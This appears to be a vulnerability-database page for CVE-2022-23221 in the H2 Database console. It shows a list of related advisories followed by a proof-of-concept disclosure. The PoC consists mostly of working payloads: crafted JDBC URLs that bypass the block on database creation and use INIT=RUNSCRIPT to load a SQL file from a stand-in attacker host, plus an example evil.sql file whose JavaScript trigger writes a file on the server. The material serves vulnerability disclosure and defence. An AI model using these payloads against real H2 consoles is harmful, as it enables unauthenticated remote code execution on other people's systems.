| Reporter | Title | Published | Views | Family All 64 |
|---|---|---|---|---|
| H2 Database Console Remote Code Execution Exploit | 25 Jan 202200:00 | – | zdt | |
| h2database-rce-poc | 29 Apr 202612:58 | – | githubexploit | |
| Astra Linux - уязвимость в h2database | 3 May 202623:59 | – | astralinux | |
| Security Bulletin: Vulnerability in Hibernate Validator affects IBM watsonx.data | 18 Sep 202416:52 | – | ibm | |
| CVE-2022-23221 | 9 Feb 202402:16 | – | circl | |
| H2Console 参数注入漏洞 | 19 Jan 202200:00 | – | cnnvd | |
| H2 Database Remote Code Execution (CVE-2022-23221) | 3 Nov 202200:00 | – | checkpoint_advisories | |
| CVE-2022-23221 | 19 Jan 202200:00 | – | cve | |
| CVE-2022-23221 | 19 Jan 202200:00 | – | cvelist | |
| [SECURITY] [DLA 2923-1] h2database security update | 15 Feb 202200:06 | – | debian |
`Document Title
===============
Unauthenticated RCE vuln in the H2 Database console: CVE-2022-23221.
Product Description
===============
The H2 Console Application
The Console lets you access a SQL database using a browser interface.
Homepage: http://www.h2database.com/html/quickstart.html
Affected Components
===============
File Name: WebServer.java
File Path: /h2database/h2/src/main/org/h2/server/web/WebServer.java
Impacted Function: getConnection
PoC
===============
1) Navigate to the console and attempt to connect to a H2 in memory
database that does not exist using the following JDBC URL:
```
jdbc:h2:mem:1337;
```
2) Note that you get the following security exception preventing you
from creating a new in memory database:
```
Database "mem:1337" not found, either pre-create it or allow remote
database creation (not recommended in secure environments) [90149-209]
90149/90149 (Help)
```
3) Now try again with the following JDBC URL:
```
jdbc:h2:mem:1339;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;'\
```
4) Note that you were able to successfully create a new in memory database
5) Create a SQL file that contains a trigger that executes
java/javascript/ruby code when executed and host it on a domain you
control (ex: http://attacker)
6) Use the following JDBC URL to execute the SQL file hosted on your
domain on connect:
```
jdbc:h2:mem:1337;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT
FROM 'http://attacker/evil.sql';'\
```
Example evil.sql file:
```
CREATE TABLE test (
id INT NOT NULL
);
CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
var fos = Java.type("java.io.FileOutputStream");
var b = new fos ("/tmp/pwnedlolol");';
INSERT INTO TEST VALUES (1);
```
CVE Issued: CVE-2022-23221
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation